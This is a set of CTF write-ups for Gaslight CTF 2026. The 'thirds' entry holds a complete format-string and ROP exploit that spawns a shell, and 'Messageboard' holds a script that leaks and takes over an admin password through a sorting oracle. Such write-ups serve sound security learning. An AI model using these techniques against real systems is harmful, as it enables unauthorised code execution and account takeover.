Gaslight CTF 2026

This is a collection of writeups for Gaslight CTF 2026. We placed 4th, 3rd in the HS divison.

compiled-source-sheets

In the handout, we are given the main vm.html. It appears to be from a project called x86CSS. The project appears to be a 16bit x86 8086 emulator. Reading through the build script in build_css.py, we can see the code that actually embeds the executable into the file: for i in range(MEM_SIZE): variables.append(createChosenMemoryInt(f"m{i}", i, True, 0x90 if i < PROG_OFFSET else 0)) The README describes the VM as having 0x600 bytes of memory, with the program starting at 0x100. We know that 0x90 is the one-byte no operation opcode for x86 systems, so we can safely assume that this code is what is in charge of writing the program in. If we copy a hunk of the CSS into regex101, we can write a custom pattern that searches for all of the individual values. We can then extract these values as such: ...

CompleteHTTP

We’re provided with two files: complete-http and complete-http.pcapng. Take a glance around, complete-http.pcapng is a Wireshark capture of a few packets of HTTPS traffic and complete-http is a simple .NET web server: ilSpy view of complete-http.CompleteHttp.Program // complete-http, Version=0.0.1.0, Culture=neutral, PublicKeyToken=null // CompleteHttp.Program using System; using System.IO; using System.Net; using System.Net.Sockets; using System.Security.Cryptography.X509Certificates; using System.Threading; using System.Threading.Tasks; using CompleteHttp.Crypto; using CompleteHttp.Tls; internal static class Program { private static async Task Main(string[] args) { int num = ((args.Length != 0 && int.TryParse(args[0], out var result)) ? result : 1337); using X509Certificate2 certificate = CertificateProvider.CreateCertificate(); TcpListener listener = new TcpListener(IPAddress.Any, num); listener.Start(); Console.WriteLine($"listening on 0.0.0.0:{num}"); while (true) { HandleAsync(await listener.AcceptTcpClientAsync(), certificate); } } private static async Task HandleAsync(TcpClient client, X509Certificate2 certificate) { using (client) { client.NoDelay = true; await using NetworkStream stream = client.GetStream(); using TlsConnection conn = new TlsConnection(stream, certificate); try { await conn.HandshakeAsync(CancellationToken.None); await conn.ServeApplicationDataAsync(CancellationToken.None); await conn.SendAlertAsync(AlertLevel.Warning, AlertDescription.CloseNotify, CancellationToken.None); } catch (TlsAlertException ex) { // ... } catch (IOException) { } catch (Exception ex3) { // ... } } } private static async Task TrySendAlertAsync(TlsConnection conn, AlertLevel level, AlertDescription description) // ... } Let’s examine the C# first. Looking at the main program, we quickly determine that this is basically just a super duper simple HTTPS server. We identify await conn.ServeApplicationDataAsync(CancellationToken.None); as the code that serves requests, digging deeper: ...

json-warehouse

if you’re looking to read a good writeup please read CompleteHTTP or compiled-source sheets, i’m proud of those, this was more a venting session than a writeup I’m sorry if i’m being less professional i’m just getting REALLY frustrated thinking about mineguesser and this challenge was also lowk really frustrating too Ok so I don’t even know WHAT i was doing before like I really should have caught on to the hidden meaning of “don’t worry I told claude to make no mistakes” a LOT earlier on ...

mineguesser

if you’re looking to read a good writeup please read CompleteHTTP or compiled-source sheets, i’m proud of those, this was more a venting session than a writeup oh boy this challenge was borderline child abuse okay so i spent 10 hours on this challenge, of which only 1 was actually solving it the correct way. i think LITERALLY EVERYONE got too locked in to the mindset that they had to break the seed, myself included. if i USED MY FRICKING BRAIN and and remembered that I SWEAT THE FLIPPING GAME i should have been able to solve it earlier. happy thoughts are most certainly NOT going through my brain as i’m writing this writeup, it’s more like a one sided venting session Nonetheless, here we go! ...

thirds

requires pwntools from pwn import * # handout = "/mnt/w/ctf/gaslightctf2026/thirds/handout" # io = process([f"{handout}/ld-linux-x86-64.so.2", "--library-path", handout, f"{handout}/thirds"], cwd=handout, stdin=PTY, stdout=PTY, stderr=PTY) HOST = "e2b31333-949b-4d06-960c-604a5de3c07c.play.gaslightctf.cooking" io = remote(HOST, 31337, ssl=True) # read both the caller frame ptr AND main's return addr io.recvuntil(b"1> ") io.sendline(b"%14$p|%15$p") caller, ret_addr = map(lambda x: int(x, 16), io.recvline().split(b"|")) io.recvuntil(b"2> ") # very last byte of main's return addr ret_slot = caller - 0x98 libc_base = ret_addr - 0x2b285 # main's normal return addr format = lambda count, position: f"%{count & 0xffff}c%{position}$hn".encode() reentry = b"%130c%53$hhn" # 130 is 0x82, overwriting libc+0x2b285 to libc+0x2b282 *to call main again* # write the return io.sendline(format(ret_slot, 39)) io.recvuntil(b"3> ") # reenter main io.sendline(reentry) io.recvuntil(b"1> ") def write(address, value): for part in range(3): # redirect the stack cursor io.sendline(format(address + 2 * part, 14)) io.recvuntil(b"2> ") # write through it io.sendline(format(value >> 16 * part, 34)) io.recvuntil(b"3> ") # reenter main io.sendline(reentry) io.recvuntil(b"1> ") # points to `pop rdi; ret`` write(ret_slot + 8, libc_base + 0xfc08d) # point to libc mention of "/bin/sh" write(ret_slot + 16, libc_base + 0x1c3ed9) # point to libc mention of "system" write(ret_slot + 24, libc_base + 0x58860) # target back to a `ret` write(caller + 0x10, ret_slot + 4) # write our return back in again io.sendline(format(ret_slot + 2, 14)) io.recvuntil(b"2> ") io.sendline(b"A") # doesn't matter io.recvuntil(b"3> ") # reenter main again io.sendline(reentry) io.recvuntil(b"1> ") # libc+0x2930b points to a `ret` io.sendline(format(libc_base + 0x2930b, 53)) io.recvuntil(b"2> ") io.sendline(format((libc_base + 0x2930b) >> 16, 34)) io.recvuntil(b"3> ") io.sendline(format((libc_base + 0x2930b) >> 32, 36)) # should have launched io.interactive()

Corridors

Solve script: from bs4 import BeautifulSoup import requests if __name__ == "__main__": url = input("Enter the instance url (with https): ") i = 0 while True: i += 1 print(f"\rCount: {i}", end="", flush=True) url += "/l" response = requests.get(url) soup = BeautifulSoup(response.content, "lxml") if soup.title.text == "correct": pass elif soup.title.text == "wrong": url = url[:-2] url += "/r" response = requests.get(url) soup = BeautifulSoup(response.content, "lxml") if soup.title.text not in ("correct", "wrong"): print(soup.prettify()) print(url) break

Messageboard

Solve script: import secrets import requests BASE = "http://localhost:3000" s = requests.Session() hexchars = "0123456789abcdef" def reset_cookie(r): if cookie := r.cookies.get("__Host-session"): s.cookies.clear() s.cookies.set("__Host-session", cookie) if __name__ == "__main__": prefix = "" tag = "x" + secrets.token_hex(3) while len(prefix) < 15: candidates = {} for c in hexchars: name = f"{tag}{prefix}{c}" r = s.post(f"{BASE}/api/signup", json={ "name": name, "password": prefix + c }) r.raise_for_status() reset_cookie(r) r = s.post( f"{BASE}/api/stories", json={ "story": name, "visibility": "public", "minutes": 60 }) r.raise_for_status() candidates[name] = c rows = s.get(f"{BASE}/api/stories", params={"column": "secret", "order": "ASC"}).json() positions = {row["author"]: i for i, row in enumerate(rows)} admin = next( i for i, row in enumerate(rows) if row.get("author") == "admin" and row.get("visibility") == "public" ) before = [name for name in candidates if positions[name] < admin] if len(before) == 0: print("no admin stories") exit() prefix += candidates[max(before, key=positions.get)] print(prefix) for c in hexchars: password = prefix + c r = s.post(f"{BASE}/api/login", json={"name": "admin", "password": password}) if r.ok: prefix = password reset_cookie(r) break else: print("couldn't log in as admin") exit() print("password:", prefix) rows = s.get(f"{BASE}/api/stories").json() for row in rows: if row.get("author") == "admin" and row.get("visibility") == "close_friends": print(row["story"]) exit() print("story not found")

Useless RCE

The challenge reads a Haskell module, removes every occurrence of IO, and writes the result to Payload.hs. It then loads the module with hint and runs a function called runMe. runMe :: () -> () At first, this makes runMe seem useless; it accepts no meaningful input and can only return (). Reading the source code shows the input filter: stripIO :: String -> String stripIO [] = [] stripIO ('I' : 'O' : xs) = stripIO xs stripIO (x : xs) = x : stripIO xs It removes IO wherever it appears in the submission. ...